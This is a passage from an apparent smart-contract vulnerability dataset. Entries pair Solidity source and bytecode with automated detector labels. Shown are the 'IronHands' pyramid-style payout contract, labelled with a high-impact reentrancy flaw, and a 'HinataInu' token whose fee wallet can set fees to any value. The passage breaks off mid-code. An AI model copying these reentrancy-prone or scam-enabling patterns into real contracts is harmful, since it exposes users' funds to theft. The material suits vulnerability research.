6040513d602081101561071b57600080fd5b505160ff1690508481111561073c576107398b868303600a0a610dd7565b9a505b83811015610756576107538b828603600a0a610dd7565b9a505b851561077b576107748261076e8d600a85900a610dd7565b90610e53565b9a50610790565b61078d600a82900a61076e8d85610dd7565b9a505b848110156107aa576107a78b828703600a0a610e53565b9a505b838111156107c4576107c18b858303600a0a610e53565b9a505b5050600190950194506105429350505050565b509193909250565b6107e833610b1d565b6107f157600080fd5b84831461085f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f617272617973206d7573742068617665207468652073616d65206c656e677468604482015290519081900360640190fd5b8481146108cd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f617272617973206d7573742068617665207468652073616d65206c656e677468604482015290519081900360640190fd5b60005b85811015610b14578282828181106108e457fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff166001600089898581811061091157fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087878581811061097657fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f589e912830d38d62f14a6cf3cea8f8a002fc9288b37f0d914b5e7dc107d278bf878783818110610a3857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16868684818110610a6157fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16858585818110610a8a57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16604051808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a16001016108d0565b50505050505050565b6000610b298183610e95565b90505b919050565b6000806000806000610b7587878080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061053492505050565b91945092509050610b8a8161076e8a86610dd7565b989197509095505050505050565b73ffffffffffffffffffffffffffffffffffffffff8116610bb857600080fd5b610bc28282610e95565b15610bcc57600080fd5b73ffffffffffffffffffffffffffffffffffffffff1660009081526020919091526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b610c27600082610ee4565b60405173ffffffffffffffffffffffffffffffffffffffff8216907f0a8eb35e5ca14b3d6f28e4abf2f128dbab231a58b56e89beb5d636115001e16590600090a250565b610c76600082610b98565b60405173ffffffffffffffffffffffffffffffffffffffff8216907f22380c05984257a1cb900161c713dd71d39e74820f1aea43bd3f1bdd2096129990600090a250565b73ffffffffffffffffffffffffffffffffffffffff8083166000908152600160209081526040808320858516845290915281205490911690808083610d365773ffffffffffffffffffffffffffffffffffffffff80861660009081526001602081815260408084208b8616855290915290912054909116945092505b73ffffffffffffffffffffffffffffffffffffffff8416610db857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f4e6f2061676772656761746f7220666f756e6400000000000000000000000000604482015290519081900360640190fd5b610dc186610f64565b9150610dcc85610f64565b905092959194509250565b600082610de657506000610e4d565b82820282848281610df357fe5b0414610e4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806110f26021913960400191505060405180910390fd5b90505b92915050565b6000610e4a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611029565b600073ffffffffffffffffffffffffffffffffffffffff8216610eb757600080fd5b5073ffffffffffffffffffffffffffffffffffffffff166000908152602091909152604090205460ff1690565b73ffffffffffffffffffffffffffffffffffffffff8116610f0457600080fd5b610f0e8282610e95565b610f1757600080fd5b73ffffffffffffffffffffffffffffffffffffffff1660009081526020919091526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b600873ffffffffffffffffffffffffffffffffffffffff821673f5af88e117747e87fc5929f2ff87221b1447652e1415610fa057506012610b2c565b610fa9826110e5565b15610b2c578173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff457600080fd5b505afa158015611008573d6000803e3d6000fd5b505050506040513d602081101561101e57600080fd5b505160ff1692915050565b600081836110cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561109457818101518382015260200161107c565b50505050905090810190601f1680156110c15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816110db57fe5b0495945050505050565b3b63ffffffff1615159056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122046629d88fad78f77c785e4fae8dba3eedf36f6be9105732a331669a3216903c164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,631
0xea855828853bd9411d18af9b91095e50e9bef39b
pragma solidity ^0.4.21; /** * * * * * ATTENTION! * * This code? IS NOT DESIGNED FOR ACTUAL USE. * * The author of this code really wishes you wouldn't send your ETH to it, but it's been * done with P3D and there are very happy users because of it. * * No, seriously. It's probablly illegal anyway. So don't do it. * * Let me repeat that: Don't actually send money to this contract. You are * likely breaking several local and national laws in doing so. * * This code is intended to educate. Nothing else. If you use it, expect S.W.A.T * teams at your door. I wrote this code because I wanted to experiment * with smart contracts, and I think code should be open source. So consider * it public domain, No Rights Reserved. Participating in pyramid schemes * is genuinely illegal so just don't even think about going beyond * reading the code and understanding how it works. * * Seriously. I'm not kidding. It's probablly broken in some critical way anyway * and will suck all your money out your wallet, install a virus on your computer * sleep with your wife, kidnap your children and sell them into slavery, * make you forget to file your taxes, and give you cancer. * * * What it does: * * It takes 50% of the ETH in it and buys tokens. * It takes 50% of the ETH in it and pays back depositors. * Depositors get in line and are paid out in order of deposit, plus the deposit * percent. * The tokens collect dividends, which in turn pay into the payout pool * to be split 50/50. * * If you're seeing this contract in it's initial configuration, it should be * set to 200% (double deposits), and pointed at PoWH: * 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe * * But you should verify this for yourself. * * */ contract ERC20Interface { function transfer(address to, uint256 tokens) public returns (bool success); } contract REV { function buy(address) public payable returns(uint256); function withdraw() public; function myTokens() public view returns(uint256); function myDividends(bool) public view returns(uint256); } contract Owned { address public owner; address public ownerCandidate; constructor() public { owner = 0xc42559F88481e1Df90f64e5E9f7d7C6A34da5691; } modifier onlyOwner { require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner { ownerCandidate = _newOwner; } function acceptOwnership() public { require(msg.sender == ownerCandidate); owner = ownerCandidate; } } contract IronHands is Owned { /** * Modifiers */ /** * Only owners are allowed. */ modifier onlyOwner(){ require(msg.sender == owner); _; } /** * The tokens can never be stolen. */ modifier notPooh(address aContract){ require(aContract != address(weak_hands)); _; } modifier limitBuy() { if(msg.value > limit) { // check if the transaction is over limit eth (1000 finney = 1 eth) revert(); // if so : revert the transaction } _; } /** * Events */ event Deposit(uint256 amount, address depositer); event Purchase(uint256 amountSpent, uint256 tokensReceived); event Payout(uint256 amount, address creditor); event Dividends(uint256 amount); /** * Structs */ struct Participant { address etherAddress; uint256 payout; } //Total ETH managed over the lifetime of the contract uint256 throughput; //Total ETH received from dividends uint256 dividends; //The percent to return to depositers. 100 for 00%, 200 to double, etc. uint256 public multiplier; //Where in the line we are with creditors uint256 public payoutOrder = 0; //How much is owed to people uint256 public backlog = 0; //The creditor line Participant[] public participants; //How much each person is owed mapping(address => uint256) public creditRemaining; //What we will be buying REV weak_hands; // Limitation uint256 public limit = 500 finney; // 1000 = 1eth | 500 finney = 0.5 eth /** * Constructor */ /* */ constructor() public { address cntrct = 0x05215FCE25902366480696F38C3093e31DBCE69A; // contract address multiplier = 125; // 200 to double | 125 = 25% more weak_hands = REV(cntrct); } /** * Fallback function allows anyone to send money for the cost of gas which * goes into the pool. Used by withdraw/dividend payouts so it has to be cheap. */ function() payable public { } /** * Deposit ETH to get in line to be credited back the multiplier as a percent, * add that ETH to the pool, get the dividends and put them in the pool, * then pay out who we owe and buy more tokens. */ function deposit() payable public limitBuy() { //You have to send more than 1000000 wei. require(msg.value > 1000000); //Compute how much to pay them uint256 amountCredited = (msg.value * multiplier) / 100; //Get in line to be paid back. participants.push(Participant(msg.sender, amountCredited)); //Increase the backlog by the amount owed backlog += amountCredited; //Increase the amount owed to this address creditRemaining[msg.sender] += amountCredited; //Emit a deposit event. emit Deposit(msg.value, msg.sender); //If I have dividends if(myDividends() > 0){ //Withdraw dividends withdraw(); } //Pay people out and buy more tokens. payout(); } /** * Take 25% of the money and spend it on tokens, which will pay dividends later. * Take the other 75%, and use it to pay off depositors. */ function payout() public { //Take everything in the pool uint balance = address(this).balance; //It needs to be something worth splitting up require(balance > 1); //Increase our total throughput throughput += balance; //calculate 15% of investment uint256 investment = ((balance * 15)/(100)); //Take away the amount we are investing(25%) from the amount to send(75%) balance -= investment; //Invest it in more tokens. uint256 tokens = weak_hands.buy.value(investment).gas(1000000)(msg.sender); //Record that tokens were purchased emit Purchase(investment, tokens); //While we still have money to send while (balance > 0) { //Either pay them what they are owed or however much we have, whichever is lower. uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout; //if we have something to pay them if(payoutToSend > 0){ //subtract how much we've spent balance -= payoutToSend; //subtract the amount paid from the amount owed backlog -= payoutToSend; //subtract the amount remaining they are owed creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend; //credit their account the amount they are being paid participants[payoutOrder].payout -= payoutToSend; //Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more. if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){ //Record that they were paid emit Payout(payoutToSend, participants[payoutOrder].etherAddress); }else{ //undo the accounting, they are being skipped because they are not payable. balance += payoutToSend; backlog += payoutToSend; creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend; participants[payoutOrder].payout += payoutToSend; } } //If we still have balance left over if(balance > 0){ // go to the next person in line payoutOrder += 1; } //If we've run out of people to pay, stop if(payoutOrder >= participants.length){ return; } } } /** * Number of tokens the contract owns. */ function myTokens() public view returns(uint256){ return weak_hands.myTokens(); } /** * Number of dividends owed to the contract. */ function myDividends() public view returns(uint256){ return weak_hands.myDividends(true); } /** * Number of dividends received by the contract. */ function totalDividends() public view returns(uint256){ return dividends; } /** * Request dividends be paid out and added to the pool. */ function withdraw() public { uint256 balance = address(this).balance; weak_hands.withdraw.gas(1000000)(); uint256 dividendsPaid = address(this).balance - balance; dividends += dividendsPaid; emit Dividends(dividendsPaid); } /** * Number of participants who are still owed. */ function backlogLength() public view returns (uint256){ return participants.length - payoutOrder; } /** * Total amount still owed in credit to depositors. */ function backlogAmount() public view returns (uint256){ return backlog; } /** * Total number of deposits in the lifetime of the contract. */ function totalParticipants() public view returns (uint256){ return participants.length; } /** * Total amount of ETH that the contract has delt with so far. */ function totalSpent() public view returns (uint256){ return throughput; } /** * Amount still owed to an individual address */ function amountOwed(address anAddress) public view returns (uint256) { return creditRemaining[anAddress]; } /** * Amount owed to this person. */ function amountIAmOwed() public view returns (uint256){ return amountOwed(msg.sender); } /** * A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them. */ function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPooh(tokenAddress) returns (bool success) { return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); } function changeLimit(uint256 newLimit) public onlyOwner returns (uint256) { limit = newLimit * 1 finney; return limit; } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a44b9cf146101405780631b3ed7221461016b5780633151ecfc1461019657806335c1d349146101c157806339af0513146102355780633ccfd60b146102605780633febb070146102775780635f504a82146102a257806363bd1d4a146102f95780636cff6f9d146103105780636d33b42b1461033b57806379ba50971461037c5780638da5cb5b14610393578063949e8acd146103ea578063997664d714610415578063a0ca0a5714610440578063a26dbf261461046b578063a4d66daf14610496578063a6f9dae1146104c1578063d0e30db014610504578063d493b9ac1461050e578063e5cf229714610593578063fb346eab146105ea578063ff5d18ca14610615575b005b34801561014c57600080fd5b5061015561066c565b6040518082815260200191505060405180910390f35b34801561017757600080fd5b5061018061067c565b6040518082815260200191505060405180910390f35b3480156101a257600080fd5b506101ab610682565b6040518082815260200191505060405180910390f35b3480156101cd57600080fd5b506101ec6004803603810190808035906020019092919050505061075a565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561024157600080fd5b5061024a6107ad565b6040518082815260200191505060405180910390f35b34801561026c57600080fd5b506102756107b3565b005b34801561028357600080fd5b5061028c6108da565b6040518082815260200191505060405180910390f35b3480156102ae57600080fd5b506102b76108e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030557600080fd5b5061030e61090a565b005b34801561031c57600080fd5b50610325610e19565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b5061036660048036038101908080359060200190929190505050610e1f565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610e96565b005b34801561039f57600080fd5b506103a8610f56565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f657600080fd5b506103ff610f7b565b6040518082815260200191505060405180910390f35b34801561042157600080fd5b5061042a611043565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b5061045561104d565b6040518082815260200191505060405180910390f35b34801561047757600080fd5b5061048061105e565b6040518082815260200191505060405180910390f35b3480156104a257600080fd5b506104ab61106b565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b50610502600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611071565b005b61050c611110565b005b34801561051a57600080fd5b50610579600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112dd565b604051808215151515815260200191505060405180910390f35b34801561059f57600080fd5b506105d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611480565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b506105ff6114c9565b6040518082815260200191505060405180910390f35b34801561062157600080fd5b50610656600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d3565b6040518082815260200191505060405180910390f35b600061067733611480565b905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663688abbf760016040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050602060405180830381600087803b15801561071a57600080fd5b505af115801561072e573d6000803e3d6000fd5b505050506040513d602081101561074457600080fd5b8101908080519060200190929190505050905090565b60078181548110151561076957fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60065481565b6000803073ffffffffffffffffffffffffffffffffffffffff16319150600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b620f42406040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600088803b15801561085a57600080fd5b5087f115801561086e573d6000803e3d6000fd5b5050505050813073ffffffffffffffffffffffffffffffffffffffff1631039050806003600082825401925050819055507fd7cefab74b4b11d01e168f9d1e2a28e7bf8263c3acf9b9fdb802fa666a49455b816040518082815260200191505060405180910390a15050565b6000600654905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000803073ffffffffffffffffffffffffffffffffffffffff1631935060018411151561093957600080fd5b836002600082825401925050819055506064600f850281151561095857fe5b0492508284039350600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f088d54784620f424090336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506020604051808303818589803b158015610a2257600080fd5b5088f1158015610a36573d6000803e3d6000fd5b5050505050506040513d6020811015610a4e57600080fd5b810190808051906020019092919050505091507f350df6fcc944b226b77efc36902e19b43c566d75173622086e809d46dfbc22208383604051808381526020018281526020019250505060405180910390a15b6000841115610e12576007600554815481101515610abb57fe5b9060005260206000209060020201600101548410610afb576007600554815481101515610ae457fe5b906000526020600020906002020160010154610afd565b835b90506000811115610ddd5780840393508060066000828254039250508190555080600860006007600554815481101515610b3357fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806007600554815481101515610bbe57fe5b9060005260206000209060020201600101600082825403925050819055506007600554815481101515610bed57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681620f424090604051600060405180830381858888f1935050505015610d07577f9b5d1a613fa5f0790b36b13103706e31fca06b229d87e9915b29fc20c1d76490816007600554815481101515610c8857fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1610ddc565b80840193508060066000828254019250508190555080600860006007600554815481101515610d3257fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806007600554815481101515610dbd57fe5b9060005260206000209060020201600101600082825401925050819055505b5b6000841115610df85760016005600082825401925050819055505b600780549050600554101515610e0d57610e13565b610aa1565b5b50505050565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7c57600080fd5b66038d7ea4c680008202600a81905550600a549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663949e8acd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561100357600080fd5b505af1158015611017573d6000803e3d6000fd5b505050506040513d602081101561102d57600080fd5b8101908080519060200190929190505050905090565b6000600354905090565b600060055460078054905003905090565b6000600780549050905090565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110cc57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a5434111561112157600080fd5b620f42403411151561113257600080fd5b6064600454340281151561114257fe5b049050600760408051908101604052803373ffffffffffffffffffffffffffffffffffffffff168152602001838152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050508060066000828254019250508190555080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a533433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a160006112c3610682565b11156112d2576112d16107b3565b5b6112da61090a565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133a57600080fd5b83600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561139857600080fd5b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b505050506040513d602081101561146557600080fd5b81019080805190602001909291905050509150509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600254905090565b600860205280600052604060002060009150905054815600a165627a7a72305820298acd88c43da41900f5aa7253eece72d8ecc34e0002479c0078acafb30b3ad70029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,632
0x999abeeb79dd6972f3245aa0a56e56d87914be66
/** * https://t.me/Hinata_Inu **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract HinataInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xB73c68Fbc960F11A66F758cC3Daa62288bCD5CDb); address payable private _feeAddrWallet2 = payable(0x5fb01E8Ade62C0d8f7AEEa6e6Aa75f89f9CF9A77); string private constant _name = "Hinata Inu"; string private constant _symbol = "HINATA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, 